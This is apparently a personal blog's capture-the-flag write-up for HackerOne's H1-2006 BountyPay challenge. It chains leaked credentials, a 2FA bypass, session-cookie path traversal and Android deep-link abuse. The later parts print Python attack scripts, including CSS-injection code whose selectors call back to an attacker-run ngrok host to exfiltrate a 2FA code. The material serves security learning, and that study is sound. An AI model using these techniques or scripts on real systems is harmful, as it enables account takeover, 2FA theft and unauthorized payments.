Capture the flag writeup for the H1-2006 challenge

Introduction

Hello ethical hackers! Today I will share with you my capture the flag writeup for H1-2006. It details my process of solving this awesome challenge organized by HackerOne. 

One of the objectives I have this year is to get invited into a live hacking event. In an attempt to achieve this, I accepted the challenge of solving the HackerOne 2006 CTF. During the process, I had the chance to practically exploit vulnerabilities I had only read about. Besides, I enjoyed writing custom scripts to automate some tasks. Finally, I learned how to use some advanced features of the tools I commonly use.

I divided this CTF writeup into several sections, each one marks a milestone in the CTF journey. Every section is further divided into smaller parts to easily describe the vulnerabilities and how I exploited them.

Subdomain enumeration

The first step in this CTF writeup is checking the scope. This is crucial to avoid testing out-of-scope assets. In the policy page, the wildcard domain *.bountypay.h1ctf.com is in scope.

If you have read my bug bounty methodology, you know my preferred tools for subdomain enumeration.

Running assetfinder and httprobe on the target reveals the following web applications:

assetfinder --subs-only bountypay.h1ctf.com | sort -u | httprobe

http://app.bountypay.h1ctf.com
http://bountypay.h1ctf.com
http://api.bountypay.h1ctf.com
http://software.bountypay.h1ctf.com
http://staff.bountypay.h1ctf.com
http://www.bountypay.h1ctf.com
https://staff.bountypay.h1ctf.com
https://www.bountypay.h1ctf.com
https://app.bountypay.h1ctf.com
https://software.bountypay.h1ctf.com
https://bountypay.h1ctf.com
https://api.bountypay.h1ctf.com

Directory brute-forcing

For this CTF writeup, I chose to perform a light directory bruteforce to spot any low hanging directories using ffuf and the quickhits.txt wordlist from the SecLists project.

ffuf -u HOSTDIR -w quickhits.txt:DIR -w hosts:HOST -mc 200

I find several interesting folders as you can see below.

CTF writeup step: Directory bruteforcing reveals some interesting files
CTF writeup step: Directory bruteforcing reveals some interesting files

All subdomains are directly accessible, except for the software subdomain which returns an HTTP 401 status code, which indicates that it might be restricted to internal users only. This will be useful later.

Obtaining the foothold

In each CTF writeup, I make sure to highlight the initial foothold.

The /.git/config file from the screenshot above seems interesting as it usually holds details about the code repository. Fetching it using curl reveals the following highlighted GitHub remote origin.

CTF writeup: /.git/config file shows a remote origin
CTF writeup: /.git/config file shows a remote origin

The request-logger repository contains a PHP file which logs HTTP requests into a log file named bp_web_trace.log. Indeed, fetching that file reveals some base64 encoded content. The following one-liner grabs the file and decodes it.

curl https://app.bountypay.h1ctf.com/bp_web_trace.log | cut -d":" -f2 | xargs -n1 -I{} sh -c "echo {} | base64 -d" | js-beautify

As shown in the screenshot below, the logs disclose plaintext login credentials of the user brian.oliver, a certain challenge_answer value and a request to the /statements endpoint. For now, I want the credentials.

CTF writeup: Oliver's credentials disclosed in the log file
CTF writeup: Oliver’s credentials disclosed in the log file

2FA bypass

The following section of this CTF writeup will explain the process of bypassing 2FA.

Using the previously gathered credentials, I log in to https://app.bountypay.h1ctf.com. However, there is a 2FA feature preventing me from signing in.

Looking at the POST request which is used to send the 2FA code, I noticed a POST parameter named challenge_answer, which I previously gathered from the logs. However, it was tied to another POST parameter named challenge, which seems to be an MD5 hash.

Luckily, the challenge parameter was simply the MD5 hash of the challenge_answer. Therefore, it is possible to completely bypass the 2FA feature by generating the MD5 hash of the string bD83Jk27dQ and sending it in the 2FA request as shown below.

2FA HTTP request and response
2FA HTTP request and response

As you can see, a new session named token has been issued in the Set-Cookie HTTP response Header, allowing access to Oliver’s BountyPay customer dashboard.

Accessing internal files

In this part of the CTF writeup, I will show you how to combine multiple techniques to bypass authorization.

Can Oliver pay May’s bounties? Unfortunately not! However, loading the transactions triggers a request to the API, one of the assets I previously found during the subdomain enumeration process. The following screenshot shows a call to the /api/accounts endpoint with Oliver’s account. Notice the account ID F8gHiqSdpK is appended to the API call, this will be useful shortly.

The statements endpoint request's the API
The statements endpoint request’s the API

Abusing weak session management

The following command decodes Oliver’s session and shows the result.

echo eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 | base64 -d

{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}

As you can see, the session cookie is a base-encoded JSON containing Oliver’s account ID and a hash. Since the account ID is used as part of the endpoint to the API, what if the back-end trusted this input?

To validate this hypothesis, the following token was constructed to call the /statements API endpoint. 

{"account_id":"F8gHiqSdpK/statements?","hash":"de235bffd23df6995ad4e0930baac1a2"}

It sends the same request as before, with the main difference that we control part of the API. The question mark after statements is used to truncate the API path. If we get a valid response from the API, it is a strong indication that it trusts the account ID attribute inside the session cookie. The following screenshot confirms the hypothesis.

The token session cookie controls part of the API call
The token session cookie controls part of the API call

Exploiting a path traversal vulnerability and abusing the trust relationships

Now that we control part of the API, we can attempt pivoting inside the BountyPay infrastructure through the app subdomain. 

From the subdomain enumeration step, I find that the API had a redirect endpoint. Fetching it using curl returns the message URL parameter not set. Through descriptive error messages, the API gives enough hints on how we should talk to it. The following screenshot shows these error messages.

API errors
API errors

Besides, the API allows redirection to some internal subdomains, including the software.bountypay.h1ctf.com asset, as shown in the following screenshot.

API redirects to the software subdomain directories
API redirects to the software subdomain directories

In the Directory brute-forcing section above, I mentioned how the software subdomain was restricted. What if we could access it using this redirection? 

Using the following token value, we can perform path traversal and call the API’s /redirect endpoint through the BountyPay customer application. I used the following session cookie.

{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/blah","hash":"de235bffd23df6995ad4e0930baac1a2"}

This time, the response status code is 404, not 401 anymore. The following screenshot demonstrates that.

Bypassing the Authorization layer on the software subdomain
Bypassing the Authorization layer on the software subdomain

To automate the exploitation process, I write the following script to perform a light bruteforce using the raft-small-directories-lowercase.txt wordlist.

from base64 import b64encode
import requests
from sys import argv

url = "https://app.bountypay.h1ctf.com/statements?year=2020&month=04"

cookies = {}

def exploit(i):
    token = '{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/%s&x=","hash":"de235bffd23df6995ad4e0930baac1a2"}' % i

    token = b64encode(token)
    cookies["token"] = token

    r = requests.get(url, cookies = cookies)
    if "404 Not Found" not in r.text:
        print i

f=open(argv[1],'r')
wordlist = f.read().splitlines()
f.close()

for i in wordlist:
    exploit(i)

Running the script with python api.py raft-small-directories-lowercase.txt reveals the existence of a folder named uploads, which contains the BountyPay.apk file. The following request with BurpSuite confirms what the script has just found.

BountyPay.apk file hosted on the software subdomain

Exploiting the Android Application

The following part of this CTF writeup will explain multiple techniques you can use to hack Android applications.

Luckily, the APK file is directly accessible from outside, which makes it easy to download directly from the software subdomain. From there, I run d2j-dex2jar to generate a JAR file from the APK. Then, I use JD-GUI to load the JAR file and inspect the source code. Furthermore, I run apktool to decompile the application’s archive.

The first screen of the application asked for a username and an optional twitter handle. 

Welcome screen

Upon clicking on Next, the PartOneActivity appeared.

PartOneActivity

An empty page appears with a button. When clicked, it shows hints regarding deep links and parameters.

Inside the decompiled folder generated earlier using apktool, the AndroidManifest.xml file reveals that this activity has an intent filter, which means that it is directly reachable. Besides, the data URI is expected to be of the form one://part.

AndroidManifest.xml file showing the intent filter of PartOneActivity

Furthermore, looking at the source code using the previously mentioned JD-GUI shows that the activity accepts one parameter named start. When it holds the value PartTwoActivity, the application sends an intent to the PartTwoActivity activity. This is a screenshot of the code responsible for this behaviour.

Source code of the PartOneActivity

Using the Activity Manager (am for short), I can send the expected deep-link to land on the PartTwoActivity activity. First, I extract the BountyPay app’s package name using adb shell pm list packages -f bounty. Then, the following command makes the application jump to the PartTwoActivity activity.

adb shell am start -n bounty.pay/bounty.pay.PartOneActivity -d "one://part?start=PartTwoActivity"

PartTwoActivity

Same as the previous one, this activity is blank, at least at first. Inspecting the Android Manifest file once again confirms that it also accepts an intent, this time with a scheme set to the value two.

The code expects two parameters, two and switch. When they hold the values light and on respectively, I can show some hidden UI components. The following screenshot highlights this part.

Source code of PartTwo Activity

Again, using the Activity Manager, we send an intent to this activity.

adb shell am start -n bounty.pay/bounty.pay.PartTwoActivity -d "two://part?two=light\&switch=on"

A hash value and a user input get revealed.

PartTwoActivity shows a hidden hash and input field

Cracking the hash on crackstation gives the value Token. Besides, inspecting the source code shows that the activity expects the input to start with the prefix X-. The second part comes from the param1DataSnapshot variable. The following code is responsible for such behaviour.

Source code of PartTwoActivity

At first, I had no idea where to get the value of the param1DataSnapshot variable. Therefore, I patched the user_created.xml file in the shared_prefs folder to include the line <string name="PARTTWO">COMPLETE</string>. Then, I directly accessed the third activity. However, revisiting the challenge and taking the hash value as a hint, I simply entered the value X-Token in the text box, which effectively allowed me to access PartThreeActivity.

PartThreeActivity

Inspecting the Android manifest for this activity reveals that it expects a scheme with the value three. Besides, reading through the Java code shows that it is expecting three parameters; three, switch and header. When they hold the values base64(“PartThreeActivity”), base64(“on”) and X-Token respectively, the activity will show some hidden components. This is the code responsible for that.

Source code of PartThreeActivity

The following command provides the activity with the right deep-link to show the hidden components.

adb shell am start -n bounty.pay/bounty.pay.PartThreeActivity -d "three://part?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token"
PartThreeActivity shows a hidden input field

CongratsActivity

When inspecting what changed in the /data/data/bounty.py/shared_prefs/user_created.xml file, I can see a new element containing a hash with the value 8e9998ee3137ca9ade8f372739f062c1. When I use it in the newly visible input, I land on the CongratsActivity activity, with a button containing a hint that the newly revealed hash will be useful in the next steps.

Congrats activity!

Expanding access using the new hash

Based on the performPostCall function from the source code of the PartThreeActivity activity, I notice that the API accepts a POST request and an X-Token header containing the value I have just leaked from the user_created.xml file.

POST call to the API from the Android application source code

API enumeration

I conduct a light brute force, this time using the X-Token header and the POST request. The following command reveals the endpoint /api/staff which returns a 400 status code with the error Missing Parameter.

ffuf -w raft-small-directories-lowercase.txt -u https://api.bountypay.h1ctf.com/api/FUZZ -X POST -mc all -fc 404 -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"

Because this is a REST API as mentioned in the API’s home page, I attempt to change the method from POST to GET, which reveals two staff members along with their name and staff_id attributes.

List of staff users with their attributes

Using the POST request with those attributes shows the error Staff Member already has an account. However, sending a dummy staff_id value returns the error Invalid Staff ID. This means two things:

  • I have found the right parameters
  • But, I need a staff user who is not registered yet
I need a new staff user

OSINT and staff access

BountyPay owns the Twitter account @BountypayHQ, which follows the user @SandraA76708114 who has just started working on BountyPay. Maybe she hasn’t been registered in the staff application yet? 

On a tweet of hers, she posts her staff_id, which is what we need. As a result, the following screenshot shows her plaintext credentials sandra.allison / s%3D8qB8zEpMnc*xsz7Yp5 for the staff application.

Credentials of the staff member Sandra

Privilege escalation

This part of the CTF writeup is tricky, so make sure you stay focused as I try my best to simplify the privilege escalation process.

Sadly, Sandra can’t perform privileged actions. She can only display one ticket, report pages to the admin and update her profile name and avatar.

Javascript code analysis

In the /js/website.js JavaScript file, the endpoint /admin/upgrade?username= seems promising. However, Sandra doesn’t have the right to execute it. Besides, the Javascript code shows tabs in the UI based on their respective HTML class. When the hash location contains one of the classes, a click gets triggered. 

The update profile feature

Testing the update feature reveals that it is possible to insert HTML classes in the avatar div. For example, setting the avatar value to upgradeToAdmin myclass, Sandra’s avatar would contain the classes upgradeToAdmin and myclass as shown below.

Multiple arbitrary HTML classes can be injected into the avatar

The login page

Testing the login page reveals that it accepts the parameter username, which gets inserted into an input field named username. The path should look like /?template=login&username=USERNAME. This will be useful when I combine everything together. 

Loading multiple templates

During the testing of the template GET parameter, it was possible to include multiple templates using an array. For example, the path /?template[]=login&template[]=home would load both the login and the home templates in one page as shown below.

Loading multiple templates using an array of templates

Combining the observed behaviours

What if we can cause the admin to trigger the upgrade feature using the observed behaviours? To achieve that, we can inject the upgradeToAdmin and the tab4 classes into Sandra’s avatar. To reflect the injected classes into the admin’s page, I can load the ticket template with the ticket_id parameter. Besides, I can load the login page with the username parameter set to sandra.allison to populate the username parameter with Sandra’s username when the click triggers. To trigger the click, I can append the #tab4 hash to the path. Finally, I can report the rendered page to the admin so that the upgrade request triggers on his/her end. The following single request can achieve the desired outcome.

`/?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison&template[]=admin#tab4`

To report this page, I base64 encode the malicious path above and send it. The following screenshot shows the new session cookie with the admin privileges in the HTTP response.

Successfull privilege escalation gives the admin session cookie

Notice that a new Admin tab appears, which contains the credentials of Marten Mickos marten.mickos / h&H5wy2Lggj*kKn4OD&Ype.

Marten Mickos credentials in the newly visible admin tab

2FA bypass

The 2FA kicks in once again when I log in as Marten. However, using Oliver’s challenge and challenge_answer from the first 2FA bypass works for Marten as well. A new session cookie is provided which allows access to the customer app as Marten. Therefore, I can finally see May’s bounty transaction.

Finally seeing May’s bounties transaction

2FA payment bypass using CSS injection

The final stage of this CTF writeup explains how you can detect and use CSS injection to exfiltrate the 2FA code from an internal HTML page.

Unfortunately, the payment requires yet another layer of protection using 2FA. Part of this feature involves a POST request containing a parameter named app_style, which points to an attacker-controlled CSS file. 

Detecting the CSS injection vulnerability

Pointing this parameter to a server that I control reveals from the User-Agent HTTP Header corresponds to the Chromium headless browser as shown in the screenshot below.

Chromium browser performing the callback

Because the CSS style doesn’t affect the resulting page, one hypothesis would be that the Chromium browser loads an HTML page and applies my malicious CSS style.

To validate this hypothesis, I host the following CSS file on my server. If the body element exists, which is most luckily the case, I will receive a callback on my server to /body. I use ngrok to handle the incoming requests.

body{

    background: url("https://647832432.ngrok.io/body");
}

Sure enough, I successfully get the callback as shown in the following screenshot.

Callback received indicating that the body element exists in the target HTML page

Discovering the HTML content

I wrote the script below to assist me at guessing virtually any part of the target HTML page. It takes a string value and an attribute name as input, generates the malicious CSS file and sends it to the server. For example, running python css.py c class would trigger a callback for every element which has cX as part of its class. X is configured to be a character from the charset variable.

The line temp = code+i can be changed to temp = i+code to search backwards.

import string
import requests
from sys import argv

ngrok = "https://8677932a733b.ngrok.io/"

url = "https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba"

cookies = {"token":"eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9"}

css_url = ngrok+"/me.css"

data = {"app_style":css_url}

charset = string.ascii_lowercase+string.ascii_uppercase+string.digits+"+/=-_&@*$ "

def gen_css(code,attrib):
    out = ''
    payload = '''
    *[%s*="%s"]{
        background: url(%s%s);
    }'''

    for i in charset:
        temp = code+i
        out += payload % (attrib,temp,ngrok,temp)
        out += '\n'

    f=open('me.css','w')
    f.write(out)
    f.close()

code = argv[1]
attrib = argv[2]

gen_css(code,attrib)

r = requests.post(url, data=data, cookies=cookies)

Systematically probing the HTML using the script above, I find that there is a div with a class named challenge-area and seven input elements with the name code_1 through code_7

The following screenshot reveals the callbacks corresponding to the input fields.

Receiving the code input fields’ callbacks

Moreover, it seems that these codes are included inside the div with the class challenge-area because the following CSS file gives a callback.

div[class^=challenge-area] input[name=code_1]:nth-child(1){

  background: url("https://14644d56763a.ngrok.io/1");
}

Furthermore, tweaking the payload variable from the script above to match the exact occurrence of a needle reveals that each code_x element contains only one character, which suggests that the code might be 7 characters long. That explains why the UI has a maxlength attribute set to 7 for the 2FA input field.

The final exploitation

Once again, I write the following dirty script to perform end-to-end exploitation. It performs the following:

  1. Builds a CSS file which contains all the possible CSS selections targeting the code input fields.
  2. Sends the CSS file and grabs the challenge and the challenge_timeout values from the HTML response.
  3. Extracts the 7 characters and builds a full string out of it. 
  4. Sends the exfiltrated challenge_answer along with the challenge and the challenge_timeout values to the server.

I configured Step 4 to run through my Burp instance to see the HTTP request and response.

import string
import requests
from sys import argv
import os
from time import sleep
from base64 import b64decode
import re

proxies = {"http":"http://localhost:8080","https":"https://localhost:8080"}

ngrok = "https://6b5e287e0024.ngrok.io/"

url = "https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba"

cookies = {"token":"eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9"}

css_url = ngrok+"/me.css"

data = {"app_style":css_url}

printable = string.ascii_lowercase+string.ascii_uppercase+string.digits+"+/=-_&@*$ "

regex_challenge = 'name="challenge" value="([a-zA-Z0-9]{32})"'

regex_timeout = 'name="challenge_timeout" value="([0-9]+)"'

def gen_values():
    out = []
    for i in printable:
        out.append(i)
    return out

def gen_css():
    out2 = ''
    payload = '''
    div[class*=challenge] input[name=code_%d][value="%s"]:nth-child(%d){
        background: url(%s%s);
    }'''
    out = gen_values()

    for position in range(100):
        for elem in out:
            out2 += payload %(position,elem,position,ngrok+str(position)+"/",elem)
            out2 += '\n'

    f=open('me.css','w')
    f.write(out2)
    f.close()

def run():
    #delete ngrok logs to start fresh
    delete_requests = 'curl "http://127.0.0.1:4040/api/requests/http" -XDELETE -H "Content-Type: application/json"'
    os.system(delete_requests)

    #generating the css file
    gen_css()

    #send the malicious css file
    r = requests.post(url, data=data, verify=False, cookies=cookies)

    challenge = re.search(regex_challenge, r.text).group(1)

    timeout = re.search(regex_timeout, r.text).group(1)

    #wait a bit for the callbacks to arrive
    sleep(1)

    #dirty command to parse ngrok callbacks and save results to a file
    command = 'curl "http://127.0.0.1:4040/api/requests/http?limit=50" -H "Content-Type: application/json" | gron | grep "request.uri" | grep -v "me.css" | cut -d"\\"" -f2 > parsed'
    os.system(command)

    f=open('parsed','r')
    lines = f.read().splitlines()
    f.close()

    #constructing the 2FA code
    lines.sort()
    code = ''.join(c.split('/')[-1] for c in lines)

    #sending the 2FA code to confirm the payment
    challenge_data={"challenge_timeout":timeout, "challenge":challenge, "challenge_answer":code}

    r = requests.post(url, data=challenge_data, verify=False, cookies=cookies, proxies=proxies)

run()

Lo and behold, I finally get the satisfying HTML response!

CTF challenge solved!

Conclusion

This CTF write-up describes a smooth path. However, the reality was totally different. The write-up doesn’t include rabbit holes I fell for when I was looking for ways to pivot inside the infrastructure. It doesn’t mention the long hours trying to figure out how to solve the Android challenges, and it certainly doesn’t talk about the sleepless nights trying to escalate the privileges, code the scripts and debug everything!

I also had the pleasure to work with a friend, and I now understand why hackers discover such novel bugs during the live hacking events!

If you are new to hacking and want to start doing bug bounties, read my Ultimate guide for the OWASP Top 10, which should give you a kickstart in this awesome industry.

As always, stay curious, keep learning and go find some bugs!